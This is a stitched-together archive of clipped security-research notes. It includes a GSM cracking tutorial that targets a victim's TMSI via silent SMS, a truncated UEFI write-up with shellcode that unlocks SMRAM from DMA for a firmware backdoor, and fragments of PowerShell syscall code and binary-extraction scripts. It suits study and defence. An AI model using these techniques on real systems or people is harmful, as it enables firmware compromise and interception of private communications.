274 |  $SyscallDelegate = IEX $IEXBootstrap  
275 |  \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer\($SyscallStubPointer, $SyscallDelegate\)  
276 | \}  
  

# Hardening Framework

**Created:**| _1/12/2015 10:45:59 PM_  
---|---  
**Updated:**| _1/12/2015 10:45:59 PM_  
**Author:**| __  
**Tags:**| __  
  

# Automatic server hardening

## Add security to your automation

Hardening adds a layer into your automation framework, that configures your
operating systems and services.

It takes care of difficult settings, compliance guidelines, cryptography
recommendations, and secure defaults.

<img src='img/Temp2_3649.png' />

# Using Immunity Debugger to Write Exploits Security Research Dave Aitel,
Nicolas Waisman dave@immunityinc.com nicolas.waisman@immunityinc .com

**Created:**| _4/15/2010 4:00:58 PM_  
---|---  
**Updated:**| _4/15/2010 4:01:26 PM_  
**Author:**| __  
**Tags:**| _windows security windows research python reversing conference-
material programming windbg Heap_  
  
<img src='img/Temp2_8765' />

# zynamics BinNavi 3.0 Manual - MonoREIL

**Created:**| _7/9/2010 12:20:09 PM_  
---|---  
**Updated:**| _7/9/2010 12:20:09 PM_  
**Author:**| _wishi_  
**Tags:**| _bookmark research_  
  

## The MonoREIL static code analysis framework

### Overview

To make it as easy as possible to write new static analysis algorithms based
on REIL, BinNavi comes with a static code analysis framework called MonoREIL.
This framework is exposed to the plugin API and can therefore be used from
scripts and plugins that need to do their own static code analysis.

### The components of MonoREIL

#### Monotone Solver

The monotone solver is the class which executes code analysis algorithms. To
execute an analysis algorithm, the algorithm needs to be aware of a few
concepts and implement a few classes. These are described below.

#### Lattice Graph

All MonoREIL-based algorithms work on so called lattice graphs, directed
graphs which are generated from the analyzed REIL code. Right now only one
type of lattice graph, the instruction graph, is supported out of the box.
Instruction graphs are directed graphs whose nodes contain exactly one REIL
instruction and whose directed edges specify the potential control flow
between the instructions in the nodes.

It is possible for plugins to define new lattice graphs if instruction graphs
are not suitable for a given code analysis algorithm. Another option could be
to create operand graphs where nodes contain REIL operands and the edges
between the nodes indicate how the operands depend on each other.

#### Start Vector

MonoREIL works by walking through the lattice graph and propagating analysis
results from node to node along the edges of the graph. When the code analysis
algorithm starts it is often useful to have an initial analysis state that
already contains some analysis results. For example if an algorithm tracks the
potential values of registers and it is known beforehand that the register r0
always has the value 0x78110 at instruction 0x1002552 the initial state vector
should reflect this fact.

The state vector is basically a mapping between nodes of the lattice graph and
arbitrary analysis results that depend on the implemented analysis algorithm.
While MonoREIL is executing the code analysis algorithm, analysis results for
all nodes are collected and when execution is complete, a final state vector
that contains all analysis results is returned.

#### Lattice Element

The values of the mapping defined in the state vector must be so called
lattice elements. Lattice elements can be arbitrary objects. The only
requirement for lattice elements is that MonoREIL must be able to compare
different lattice elements to determine whether two lattice elements are equal
or not.

#### Graph Walker

Different analysis algorithms require MonoREIL to take different paths through
the lattice graph. Some analysis algorithms require that only the children of
a lattice graph node need to be updated when the analysis result of the node
changed while others require all parents of the node to be updated. Other
algorithms might require completely different ways to navigate through the
lattice graph.

Using a graph walker it is possible for code analysis algorithms to define how
MonoREIL should walk through the graph. By default there is an UpWalker class
and a DownWalker class which implement graph traversal towards the parents or
children of a node. Plugins that require other ways to traverse lattice graphs
can easily implement their own custom graph walkers.

#### Transformation Provider

While walking through the lattice graph, new information about the analysis
state of the visited nodes must be discovered. This is the role of
transformation providers which define how lattice graph nodes influence the
analysis results of the nodes in their neighborhood.

The transformation provider is the core part of each code analysis algorithm.
Depending on the type of the lattice graph and the complexity of the code
analysis algorithm a transformation provider can be between ten lines and
several thousands lines long.

When using the default instruction graph, the transformation provider of an
analysis algorithm defines how each instruction influences the tracked
information. Assume the implementation of a code analysis algorithm that
tracks register values and encounters the REIL instruction add r0, 8, r0.
Knowing that before the execution of this instruction the value of register r0
is n the transformation provider would update the state of the lattice graph
node that represents that instruction to contain the information that the
value of r0 is n+8 after the instruction is executed.

#### Lattice

In nearly all cases lattice graphs do not take the form of linked lists.
Branches in the input REIL code cause branches in the lattice graph. Whenever
two paths of the lattice graph end in the same node, information from both
paths is propagated into the node. Since there is no general way of knowing
how to combine information from two analysis paths, it is necessary that all
code analysis algorithms implement a so called lattice object that defines how
to merge information from converging lattice graph paths.

### How does MonoREIL work?

Once all components described above are defined for a static code analysis
algorithm, the solve function of the MonotoneSolver class can be called. This
function takes the defined start vector and begins to walk through the lattice
graph according to the traversal order defined by the graph walker. On
visiting a node, the transformation provider discovers analysis results for
the node. This information is passed to the nodes in the neighborhood of the
node which might then use the information to update their own analysis state.
This process continues until MonoREIL notices that the analysis algorithm can
not find any more information. The final analysis state of all nodes is
returned as the result of the analysis algorithm.

Since information is propagated between nodes until no more information can be
generated by the analysis algorithm it is vitally important that information
is never lost. If a transformation provider or a lattice ever removes
information from the current analysis state, the termination of the Monotone
Solver can not be guaranteed and the code analysis algorithm might get stuck
in an endless loop.

### Example

You can find an example implementation of a MonoREIL-based static code
analysis algorithm in the scripts/mono/sample subdirectory of your BinNavi
installation.

# GerryEisenhaur.com » Using Python and PEFile to Extract Embedded Code

**Created:**| _1/7/2011 12:59:12 PM_  
---|---  
**Updated:**| _1/7/2011 12:59:31 PM_  
**Author:**| __  
**Tags:**| _cisco python reversing programming_  
  

## Using Python and PEFile to Extract Embedded Code

January 4th, 2011  | Tags: pefile, python
I’ve been cleaning old code again and I think it’s been long enough that I can
release this now. I used it to extract code that was embedded within the Cisco
Security Agent Management Console \(CSAMC\). Hopefully someone will find it
useful.

\#\!/usr/bin/env python

"""htl\_extract.py, Extracts the embedded source code from Cisco Security
Agent Management Console.

Gerry Eisenhaur <gerry@hiredhacker.com>

"""

import os

import sys

import struct

import pefile

from itertools import takewhile

  

\_KEY = 'Copyright material protected by a technological protection measure\!'

\_KEY\_LEN = len\(\_KEY\)

  

def get\_section\_by\_name\(pe, name\):

try:

section = filter\(lambda s: s.Name == name, pe.sections\)\[0\]

except IndexError, e:

return None

return section

  

def not\_null\(c\):

return c \!= '\0'

  

def decrypt\_data\(data\):

decrypted\_data = \[\]

for idx, val in enumerate\(data\):

decrypted\_data.append\(chr\(ord\(val\) - ord\(\_KEY\[idx % \_KEY\_LEN\]\)\)\)

return ''.join\(decrypted\_data\)

  

def main\(output\_path="./extracted", filename="webadmin.exe",
section\_name="htlconst"\):

pe = pefile.PE\(filename, fast\_load=True\)

  

\# Create the output path is needed, then chdir to it

output\_path = os.path.abspath\(output\_path\)

if not os.path.isdir\(output\_path\):

os.makedirs\(output\_path\)

os.chdir\(output\_path\)

  

\# Filename to search for when locating the file table

search\_string = "login.htl"

  

\# The htlconst section contains all the data we need

htlconst = get\_section\_by\_name\(pe, section\_name\)

assert htlconst is not None, "Could not find section: %s" % section\_name

  

image\_base = pe.OPTIONAL\_HEADER.ImageBase

  

try:

\# Get index of known filename in htlconst section data

filename\_offset = htlconst.data.index\(search\_string\)

except ValueError:

sys.exit\("Could not find search string: %s" % search\_string\)

  

\# Get address of known filename in htlconst section

filename\_rva = filename\_offset + htlconst.VirtualAddress + image\_base

  

\# Search for a pointer to the filename

filename\_ptr = struct.pack\("I", filename\_rva\)

assert filename\_ptr in htlconst.data, "Could not find pointer to filename"

  

\# Search back for 0x00000000 and add 4 to get the start of the struct

table\_offset = None

filename\_ptr\_idx = htlconst.data.index\(filename\_ptr\)

  

\# Is there a better way todo this?

for idx in reversed\(xrange\(0, filename\_ptr\_idx, 4\)\):

if htlconst.data\[idx:idx+4\] == "\x00\x00\x00\x00":

table\_offset = idx + 4

break

assert table\_offset is not None, "Could not find start of file table"

  

cur\_offset = table\_offset

while True:

\# unpack pointers to the filename and its 'encrypted' contents

\(ptr\_filename, ptr\_data\) = struct.unpack\('II',
htlconst.data\[cur\_offset:cur\_offset + 8\]\)

  

\# Check for the end of the structure

if not htlconst.contains\_rva\(ptr\_data - image\_base\):

break

  

filename = pe.get\_string\_at\_rva\(ptr\_filename - image\_base\)

print '\[+\] Extracting: %s' % filename

  

data\_offset = \(ptr\_data - image\_base - htlconst.VirtualAddress\)

encrypted\_data = takewhile\(not\_null, htlconst.data\[data\_offset:\]\)

decrypted\_data = decrypt\_data\(encrypted\_data\)

  

f = open\(filename, 'w'\)

f.write\(decrypted\_data\)

f.close\(\)

cur\_offset += 8

print "\[+\] Done extracting %d files." % \(\(cur\_offset -
table\_offset\)/8\)

  

if \_\_name\_\_ == "\_\_main\_\_":

main\(\)

# Hibernate HSQL connection : Hibernate HSQL « Hibernate « Java

**Created:**| _4/21/2010 1:29:10 PM_  
---|---  
**Updated:**| _4/21/2010 1:29:34 PM_  
**Author:**| __  
**Tags:**| _setup Databases Java programming_  
  
Hibernate HSQL connection  
---  
|  
---  
| `  
<!DOCTYPE hibernate-configuration PUBLIC  
"-//Hibernate/Hibernate Configuration DTD 3.0//EN"  
"http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">  
  
<hibernate-configuration>  
<session-factory>  
<!-- Database connection settings -->  
<property name="connection.driver_class">org.hsqldb.jdbcDriver</property>  
<property name="connection.url">jdbc:hsqldb:mem:testdb</property>  
<property name="connection.username">sa</property>  
<property name="connection.password"></property>  
  
<!-- JDBC connection pool (use the built-in) -->  
<property name="connection.pool_size">2</property>  
  
<!-- SQL dialect -->  
<property name="dialect">org.hibernate.dialect.HSQLDialect</property>  
  
<!-- Echo all executed SQL to stdout -->  
<property name="show_sql">**true** </property>  
  
<!-- Drop and re-**create** the database schema on startup  
<property name="hbm2ddl.auto">**create** </property>-->  
  
<mapping resource="Keyword.hbm.xml"/>  
</session-factory>  
</hibernate-configuration>`  
---

# The big GSM write-up – how to capture, analyze and crack GSM? – 1. | Going on my way…
**Created:**| _10/23/2013 6:52:49 PM_  
---|---  
**Updated:**| _10/23/2013 6:52:49 PM_  
**Author:**| __  
**Tags:**| _gsm_  
  

# **T** he big GSM write-up – how to capture, analyze and crack GSM**?** –
1**.**

So. I had some requests asking me about how I did what I did with GSM**.**
What tools did I use, what hardware and what options**?**  
Since I believe strongly that GSM needs to be “out in the hands of the people”
meaning everybody should have access to cheap hardware and free, opensource
software that helps understanding GSM in practice I thought I will create a
series of write-ups describing the whole process from the beginning**.**  
Enjoy\! <img src='img/Temp2_8353.gif' alt=':-)' />

## **First Step:** _understanding the basics of GSM, what’s the theory behind
GSM-cracking**?**_

GSM \(Global System for Mobile communication\) was introduced as a standard in
1991**.** The cipher used in GSM hasn’t been really well known but already in
1994 Ron Anderson published a theory about how to crack the encryption**.**

Later many people contributed to this theory essentially making GSM
theoretically broken since 2003, but practical tools existed only for
governmental organizations and mobile operators for such high prices nobody
from the hacker community could buy them \(not mentioning none of the
manufacturers would have given him/her anything\)**.**  
And this was the time when Karsten Nohl decided to dedicate some years as a
researcher and as a manager to create both software and hardware that could
turn theory into reality**.**

Every single year since 2009 Karsten and one member of his team released
something, a milestone if you wish, which contributed to the death of myth
that GSM is secure**.**

But there was one problem: all the details could never be released because of
the rules of ‘responsible disclosure’ meaning that you can not give access to
anybody to tools that exploit unpatched vulnerabilities in a live system**.**
And boy, GSM does have quite some of these. However during the years we always
got something, a piece of the puzzle so to speak:

  * 2009 – GSM rainbowtables with the tool Kraken \(created by Frank A Stevenson\) – they are useless without proper hardware that can capture GSM data but once we have the hardware cracking is possible
  * 2010 – airprobe which makes it possible to capture non-hopping GSM downlink channels with the USRP \(combined with Kraken we have a full downlink sniffer on a single cell\)

I am not listing 2011 here because there was no code released in that year
\(since the presented solution was a full blown GSM eavesdropping attack there
was nothing to be released\)**.**

So, the landscape of GSM hacking consists of two hardware options: USRP or
OsmocomBB**.** The USRP costs a lot, OsmocomBB has pretty much no code
available**.**

My ideal setup would be a combination of these two: cheap hardware and
software already available**.** Is there such a solution? Yes, there is.  
You can use an RTL-SDR stick to capture GSM data from the air, just like you
would do with a USRP**.** It is not as accurate, it does lose sync sometimes,
but it works**.** And not only for single transmissions \(SMS\) but also for
calls**.** I tested both, and I can confirm that it works.

So, now we have an established platform: we are going to sniff single
frequency \(non-hopping\) GSM downlink-traffic**.** These are our limitations,
airprobe is only capable of decoding the downlink and RTL-SDR isn’t capable of
hopping along \(although in theory you can use more sticks and lock each of
them to a frequency and then re-construct the transmission by combining data
from all dongles\)**.**

**BEFORE YOU CONTINUE:** if you haver never done anything with GSM, don’t know
what a ‘burst’ is, or never heard of a ‘timeslot’ please stop reading this
post and **read at least the first 4 chapters of this introduction:**  
http://web**.** ee.sun.ac**.** za/~gshmaritz/gsmfordummies/intro.shtml

**  
Steps to crack GSM \(originally outlined by Karsten Nohl\):**

  1. Get the TMSI of the victim
  2. Analyze the cell you and the victim are camping on
  3. Capture traffic and use the results of your analysis to construct input data for Kraken
  4. Use Kraken to crack the key
  5. Use the key to decode the data you captured

### _Get the TMSI of the victim****_

TMSI stands for Temporary Mobile Subscriber Identifier which is used on GSM
networks to avoid the transmission of any information that would possibly
identify a certain person \(customer\)**.** We need to know this ID so we can
tell when the victim is being paged \(meaning that he/she is going to receive
something from the network – call or SMS\)**.**  
The idea behind uncovering a TMSI is quite simple: if the victim receives
anything from the network he/she will get paged**.** So if we keep sending
something to the victim \(call/SMS\) we can correlate the pagings we observe
on the air with the frequency of the transactions we initiate**.** \(known
since 25c3\)  
The ideal “thing” to send is a silent SMS: it will not show up at all on the
victim’s phone \(no sound, no notification, nothing\) but we will get an
acknowledge from the victim saying that our SMS was delivered**.**

_Example scenario:_ we observe pagings and figure out that they page **twice**
for each transaction, so if we send 3 silent messages there should be a TMSI
which has been paged 6 times**.** By altering the number of messages sent we
can quickly distinguish false positives from the real answers**.**

_Test results:_ I actually did this attack at Hacktivity with a room full of
people \(meaning that the cell serving us was quite busy\) and on my first
attempt using 3 messages I only got two results back \(meaning one of them was
a false positive\)**.** Repeating the process would probably eliminate the
false positive easily \(there is very little chance that the same false
positive would show up\)**.**

### _Analyze the cell****_

Since GSM cracking is based on knowing the content of encrypted bursts we need
to figure out some information about the cell’s configuration**.** But wait
you might say, what’s the point of this, ‘knowing the content of encrypted
bursts’ renders encryption useless, doesn’t it**?**  
Yes and no**.** Of course if you know the content of something that is
encrypted there is no point in encryption**.** But in case of GSM it isn’t so
simple: there are some bursts that are transmitted periodically, usually
containing information about the system \(System Information bursts\)**.** The
only rule about these bursts is that they need to be transmitted no matter
what**.** Even if the connection is currently encrypted these bursts will be
transmitted \(naturally in encrypted form\)**.**  
So if we keep looking at the cell’s broadcast channel we can easily find a
pattern which could be for example something like this

Paging Request for TMSI 11223344  
Paging Request for TMSI 55667788  
System Information Type 1  
Empty Burst

Paging Request for TMSI 99887766  
Paging Request for TMSI 00112233  
System Information Type 3  
Empty Burst

Paging Request containing TMSI 77001122  
Paging Request containing TMSI 66005577  
System Information Type 1  
Empty Burst  
and so on**.** As you can see the pattern repeats itself, just the type of the
System Information changes, but for example there is always an empty burst at
the end**.** This is just a fictional pattern but I hope you see the idea:
this pattern happens even if the connection is encrypted**.**  
So if we look at the cell’s traffic, save the cleartext of a System
Information Type 1 message, then capture some encrypted data containing the
same message we can do:

cleartext System Information Type 1 XOR encrypted System Information Type 1

The result is the so called keystream \(that comes out of the encryption
function A5/1\)**.** Guess what do we need to feed our cracker, Kraken
with**?** Yep, A5/1 keystream**.**

The challenge of course is to determine which burst of all the encrypted ones
is the one containing in this case the System Information Type 1 message
\(again, we could have chosen any other message which has a known
content\)**.** That’s why we need to analyze the cell’s configuration and make
maybe one-two test calls to see the call setup**.**  
Usually the call setup always happens the same way, so once you figured out
what messages are sent during a call-setup you can safely assume that the same
messages will be transmitted whenever there is a call-setup**.**

### _Using Kraken****_

That’s pretty straight forward: download the 1**.** 6 TB of rainbow-tables,
write them out to a hard drive and then fire up Kraken**.**  
After it is ready just give it the crack command followed by the burst you
would like to crack, like this:

[code]

    Kraken> crack 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011
[/code]

### _Decrypting traffic****_

Since GSM could be running in many different configurations you might need to
try out more config**.** options of the tool go.sh to get it working
properly**.** Otherwise there isn’t anything fancy about this step, all you
need to do is pretty much giving it the key, the filename and ‘let it do the
magic’**.**

This is the end of the first part of the series**.** I covered just the
history of GSM hacking, what hardware do we have to do GSM hacking and basic
theory behind the attack**.** In the next part we are going to set up our
environment, then start real hacking with it**.** Stay tuned\!

****

# My aimful life: Breaking UEFI security with software DMA attacks

**Created:**| _9/14/2015 12:22:19 PM_  
---|---  
**Updated:**| _9/14/2015 12:22:19 PM_  
**Author:**| __  
**Tags:**| __  
  
  

###  Breaking UEFI security with software DMA attacks

Hi everyone\! In this article I’d like to tell you more about UEFI
vulnerabilities exploitation. Last time, in “Exploiting UEFI boot script table
vulnerability” blog post I shown how to execute arbitrary shellcode during
early PEI phase which allows to bypass security mechanisms that protects
System Management Mode memory \(SMRAM\) from DMA attacks. Now we will perform
such DMA attack on SMRAM to disable BIOS\_CNTL flash write protection — it
will give us the ability to write infected firmware to ROM chip on the
motherboard. This attack can be used for installation of my SMM backdoor
without having physical access to the target machine \(in previous blog post I
explained how it works and how to install it using hardware programmer\). My
software DMA attack approach for Linux operating system hijacks physical
address of DMA buffer used by disk driver, concept of such attack originally
was presented in BH US 2008 talk by Rafal Wojtczuk “Subverting the Xen
hypervisor”.  
  

###  BIOS write protection mechanisms

  
Intel hardware provides two main mechanisms to protect SPI ROM chip located on
the motherboard from overwriting by operating system:  
  

  * BIOS Write Enable \(BIOSWE\) and BIOS Lock Enable \(BLE\) bits of BIOS\_CNTL register of Platform Controller Hub \(PCH\) that accessible via PCI configuration space.
  * SPI flash Protected Range registers PR0-PR5. Also, FLOCKDN bit of HSFS PCH register is used to protect PR registers from overwriting.

  
My test hardware that was used during previous UEFI experiments, Intel DQ77KB
motherboard, is not using SPI flash protected ranges and it’s actually very
good for attacker, because this security mechanism \(unlike BIOS\_CNTL
protection\) is not relies on System Management Mode and it can’t be defeated
by software DMA attack on SMRAM that we talking about. So, information and
techniques from this article are relevant mostly for motherboards and laptops
that implements flash write protection with BIOS\_CNTL.  
  
Here is the description of BIOSWE and BLE bits from Intel® 7 Series / C216
Chipset Family Platform Controller Hub datasheet:  
  

<img src='img/bios_cntl.png' width='280' height='90' />

  
BIOSWE bit is used to control write access to the flash chip, when it’s
cleared — only read access is allowed. BLE bit is more interesting, it used to
protect BIOSWE bit from unauthorized modifications using SMM code. Let’s see
how it works:  
  

  1. During early boot phase system firmware clears BIOSWE and sets BLE, once BLE bit is set — it can’t be modified till the next platform reset.
  2. With BLE = 1 every attempt to set BIOSWE bit raises System Management Interrupt \(SMI\) — the highest priority interrupt that suspends operating system execution and switches CPU to the System Management Mode.
  3. During SMI dispatch SMM code clears BIOSWE bit back to zero and resumes OS execution, so, attacker’s code that runs under OS will newer able to set BIOSWE.

  
On properly configured and locked platforms SMM code that was installed by
firmware during PEI/DXE boot phase is not accessible by OS, so, it's able to
work as secure broker that prevents BIOS write protection configuration from
unauthorized modifications. Let’s make a small experiment: using CHIPSEC
platform security assessment framework we can write a Python script that
accessing BIOS\_CNTL register and trying to set BIOSWE bit:  

[code]

    def BIOSWE_set():
    
        BIOSWE = 1
    
        # import required CHIPSEC stuff
        import chipsec.chipset
        from chipsec.helper.oshelper import helper
    
        # initialize CHIPSEC helper
        cs = chipsec.chipset.cs()
        cs.init(None, True)
    
        # check if BIOS_CNTL register is available
        if not chipsec.chipset.is_register_defined(cs, 'BC'):
    
            raise Exception('Unsupported hardware')
    
        # get BIOS_CNTL value
        val = chipsec.chipset.read_register(cs, 'BC')
    
        print '[+] BIOS_CNTL is 0x%x' % val
    
        if val & BIOSWE == 0:
    
            print '[+] Trying to set BIOSWE...'
    
            # try to set BIOS write enable bit
            chipsec.chipset.write_register(cs, 'BC', val | BIOSWE)
    
            # check if BIOSWE bit was actually set
            val = chipsec.chipset.read_register(cs, 'BC')
            if val & BIOSWE == 0:
    
                # fails, BIOSWE modification was prevented by SMM
                print '[!] Can\'t set BIOSWE bit, BIOS write protection is enabled'
    
            else:
    
                print '[+] BIOSWE bit was set, BIOS write protection is disabled now'
    
        else:
    
            print '[+] BIOSWE bit is already set'
    
    if __name__ == '__main__':
    
        BIOSWE_set()
    
[/code]

  
After running this script as root we will see that on Intel DQ77KB motherboard
it’s not possible to set BIOSWE because of enabled BLE protection:  

[code]

    localhost ~ # python BIOSWE_set.py
    [+] BIOS_CNTL is 0x2a
    [+] Trying to set BIOSWE...
    [!] Can't set BIOSWE bit, BIOS write protection is enabled
    
[/code]

  
To learn more about BIOS write protection and security mechanisms you also can
read the following materials:  
  

  * "BIOS and Secure Boot Attacks Uncovered" by Intel Security.
  * "Defeating Signed BIOS Enforcement" by Corey Kallenberg, John Butterworth, Sam Cornwell and Xeno Kovah.
  * "Attacks on UEFI Security" by Rafal Wojtczuk and Corey Kallenberg.

  

###  Direct Memory Access

  
As you may know, not only CPU has access to the physical memory, different
hardware devices connected to the PCI bus, like disk controller or network
card, can utilize Direct Memory Access to read or write some data to physical
memory independently of the processor. Let’s see how DMA works on example of
ATA/ATAPI capable disk controller:  
  

  1. Software allocates chunk of physical memory for I/O operation data and creates Physical Region Descriptor Table \(PRDT\) entry for this memory. PRDT — is a special data structure of DMA controller that mapped to the physical memory space.
  2. Software initializes Bus Master Register of disk controller that accessible via PCI configuration space with PRDT address and enables bus master operation mode on that controller.
  3. To initiate I/O operation software sends DMA read \(0xC8/0x25\) or DMA write \(0xCA/0x35\) ATA/ATAPI command to the target disk device. When the command was sent — operating system can switch execution context to some other task until I/O operation is not finished.
  4. DMA controller responding on DMA requests from disk device and writing data to/from physical memory.
  5. When data transfer is complete — disk device signals an interrupt which allows operating system to resume suspended task execution.

  
It’s easy to figure that such design is not very secure — malicious DMA
capable hardware can ignore the buffer address that was set via PRDT and
read/write arbitrary data to arbitrary place of the physical memory without
asking any permissions form software to do that. To mitigate this issue Intel
introduced VT-d — Intel Virtualization Technology for Directed I/O \(also
known as IOMMU\) which allows to limit direct access to physical memory from
the hardware. IOMMU support is present in modern versions of Windows, Linux
and OS X but in case of certain firmware attacks, when attacker already has
complete control over operating system, it’s also necessary to have a separate
\(independent from OS or hypervisor\) DMA protection mechanism for SMRAM.  
  
The name of this mechanism is TSEGMB register that was already mentioned in
previous articles, it must be properly configured and locked by firmware
during platform initialization:  
  

<img src='img/tsegmb.png' width='280' height='98' />

  
However, if target firmware is vulnerable to UEFI boot script table attack we
can bypass TSEGMB protection using previously developed exploit. To achieve
this we need to modify exploit shellcode and add a several assembly
instructions that locks TSEGMB register with the dummy/invalid address that
doesn’t match actual SMRAM location:  

[code]

    ; bus = 0, dev = 0, func = 0, offset = 0xb8
    mov     eax, 0x800000b8
    mov     dx, 0xcf8
    out     dx, eax
    
    ; read TSEGMB value
    mov     dx, 0xcfc
    in      eax, dx
    
    ; check if TSEGMB is not locked
    and     eax, 1
    test    eax, eax
    jnz     _end
    
    ; bus = 0, dev = 0, func = 0, offset = 0xb8
    mov     eax, 0x800000b8
    mov     dx, 0xcf8
    out     dx, eax
    
    ; write and lock TSEGMB with dummy value
    mov     eax, 0xff000001
    mov     dx, 0xcfc
    out     dx, eax
    
    _end:
    
    ; ...
    
[/code]

  
Now we can run the exploit, but first let’s check current TSEGMB value using
smm\_dma module of the CHIPSEC framework:  

[code]

    localhost chipsec # python chipsec_main.py -m smm_dma
    
    [+] loaded chipsec.modules.smm_dma
    [*] running loaded modules ..
    
    [*] running module: chipsec.modules.smm_dma
    [*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/smm_dma.pyc
    [x][ =======================================================================
    [x][ Module: SMRAM DMA Protection
    [x][ =======================================================================
    [*] Registers:
    [*] PCI0.0.0_TOLUD = 0xDFA00001 << Top of Low Usable DRAM (b:d.f 00:00.0 + 0xBC)
        [00] LOCK             = 1 << Lock
        [20] TOLUD            = DFA << Top of Lower Usable DRAM
    [*] PCI0.0.0_BGSM = 0xD7800001 << Base of GTT Stolen Memory (b:d.f 00:00.0 + 0xB4)
        [00] LOCK             = 1 << Lock
        [20] BGSM             = D78 << Base of GTT Stolen Memory
    [*] PCI0.0.0_TSEGMB = 0xD7000001 << TSEG Memory Base (b:d.f 00:00.0 + 0xB8)
        [00] LOCK             = 1 << Lock
        [20] TSEGMB           = D70 << TSEG Memory Base
    [*] IA32_SMRR_PHYSBASE = 0xD7000006 << SMRR Base Address MSR (MSR 0x1F2)
        [00] Type             = 6 << SMRR memory type
        [12] PhysBase         = D7000 << SMRR physical base address
    [*] IA32_SMRR_PHYSMASK = 0xFF800800 << SMRR Range Mask MSR (MSR 0x1F3)
        [11] Valid            = 1 << SMRR valid
        [12] PhysMask         = FF800 << SMRR address range mask
    
    [*] Memory Map:
    [*]   Top Of Low Memory             : 0xDFA00000
    [*]   TSEG Range (TSEGMB-BGSM)      : [0xD7000000-0xD77FFFFF]
    [*]   SMRR Range (size = 0x00800000): [0xD7000000-0xD77FFFFF]
    
    [*] checking locks..
    [+]   TSEGMB is locked
    [+]   BGSM is locked
    [*] checking TSEG alignment..
    [+]   TSEGMB is 8MB aligned
    [*] checking TSEG covers entire SMRR range..
    [+]   TSEG covers entire SMRAM
    
    [+] PASSED: TSEG is properly configured. SMRAM is protected from DMA attacks
    
[/code]

  
Everything is fine as you can see: address 0xD7000000 looks legit and lock bit
is also set. You also can run common.smrr module to ensure that System
Management Range Registers that used to protect SMRAM from cache poisoning
attacks also has the same physical address:  

[code]

    localhost chipsec # python chipsec_main.py -m common.smrr
    
    [+] loaded chipsec.modules.common.smrr
    [*] running loaded modules ..
    
    [*] running module: chipsec.modules.common.smrr
    [*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/common/smrr.pyc
    [x][ =======================================================================
    [x][ Module: CPU SMM Cache Poisoning / System Management Range Registers
    [x][ =======================================================================
    [+] OK. SMRR range protection is supported
    
    [*] Checking SMRR range base programming..
    [*] IA32_SMRR_PHYSBASE = 0xD7000006 << SMRR Base Address MSR (MSR 0x1F2)
        [00] Type             = 6 << SMRR memory type
        [12] PhysBase         = D7000 << SMRR physical base address
    [*] SMRR range base: 0x00000000D7000000
    [*] SMRR range memory type is Writeback (WB)
    [+] OK so far. SMRR range base is programmed
    
    [*] Checking SMRR range mask programming..
    [*] IA32_SMRR_PHYSMASK = 0xFF800800 << SMRR Range Mask MSR (MSR 0x1F3)
        [11] Valid            = 1 << SMRR valid
        [12] PhysMask         = FF800 << SMRR address range mask
    [*] SMRR range mask: 0x00000000FF800000
    [+] OK so far. SMRR range is enabled
    
    [*] Verifying that SMRR range base & mask are the same on all logical CPUs..
    [CPU0] SMRR_PHYSBASE = 00000000D7000006, SMRR_PHYSMASK = 00000000FF800800
    [CPU1] SMRR_PHYSBASE = 00000000D7000006, SMRR_PHYSMASK = 00000000FF800800
    [CPU2] SMRR_PHYSBASE = 00000000D7000006, SMRR_PHYSMASK = 00000000FF800800
    [CPU3] SMRR_PHYSBASE = 00000000D7000006, SMRR_PHYSMASK = 00000000FF800800
    [+] OK so far. SMRR range base/mask match on all logical CPUs
    [*] Trying to read memory at SMRR base 0xD7000000..
    [+] PASSED: SMRR reads are blocked in non-SMM mode
    
    [+] PASSED: SMRR protection against cache attack is properly configured
    
[/code]

  
Now let’s run boot\_script\_table module to exploit the vulnerability:  

[code]

    localhost chipsec # python chipsec_main.py -m boot_script_table
    
    [+] loaded chipsec.modules.boot_script_table
    [*] running loaded modules ..
    
    [*] running module: chipsec.modules.boot_script_table
    [*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/boot_script_table.pyc
    [x][ =======================================================================
    [x][ Module: UEFI boot script table vulnerability exploit
    [x][ =======================================================================
    [*] AcpiGlobalVariable = 0xd5f53f18
    [*] UEFI boot script addr = 0xd5f4c018
    [*] Target function addr = 0xd5ddf260
    8 bytes to patch
    Found 106 zero bytes for shellcode at 0xd5deaf96
    Jump from 0xd5deaffb to 0xd5ddf268
    Jump from 0xd5ddf260 to 0xd5deaf96
    Going to S3 sleep for 10 seconds ...
    rtcwake: assuming RTC uses UTC ...
    rtcwake: wakeup from "mem" using /dev/rtc0 at Tue Aug 25 08:14:15 2015
    [*] BIOS_CNTL = 0x28
    [*] TSEGMB = 0xd7000000
    [!] Bios lock enable bit is not set
    [!] SMRAM is not locked
    [!] Your system is VULNERABLE
    
[/code]

  
Checking TSEGMB register after exploitation:  

[code]

    localhost chipsec # python chipsec_main.py -m smm_dma
    
    [+] loaded chipsec.modules.smm_dma
    [*] running loaded modules ..
    
    [*] running module: chipsec.modules.smm_dma
    [*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/smm_dma.pyc
    [x][ =======================================================================
    [x][ Module: SMRAM DMA Protection
    [x][ =======================================================================
    [*] Registers:
    [*] PCI0.0.0_TOLUD = 0xDFA00001 << Top of Low Usable DRAM (b:d.f 00:00.0 + 0xBC)
        [00] LOCK             = 1 << Lock
        [20] TOLUD            = DFA << Top of Lower Usable DRAM
    [*] PCI0.0.0_BGSM = 0xD7800001 << Base of GTT Stolen Memory (b:d.f 00:00.0 + 0xB4)
        [00] LOCK             = 1 << Lock
        [20] BGSM             = D78 << Base of GTT Stolen Memory
    [*] PCI0.0.0_TSEGMB = 0xFF000001 << TSEG Memory Base (b:d.f 00:00.0 + 0xB8)
        [00] LOCK             = 1 << Lock
        [20] TSEGMB           = FF0 << TSEG Memory Base
    [*] IA32_SMRR_PHYSBASE = 0xD7000006 << SMRR Base Address MSR (MSR 0x1F2)
        [00] Type             = 6 << SMRR memory type
        [12] PhysBase         = D7000 << SMRR physical base address
    [*] IA32_SMRR_PHYSMASK = 0xFF800800 << SMRR Range Mask MSR (MSR 0x1F3)
        [11] Valid            = 1 << SMRR valid
        [12] PhysMask         = FF800 << SMRR address range mask
    
    [*] Memory Map:
    [*]   Top Of Low Memory             : 0xDFA00000
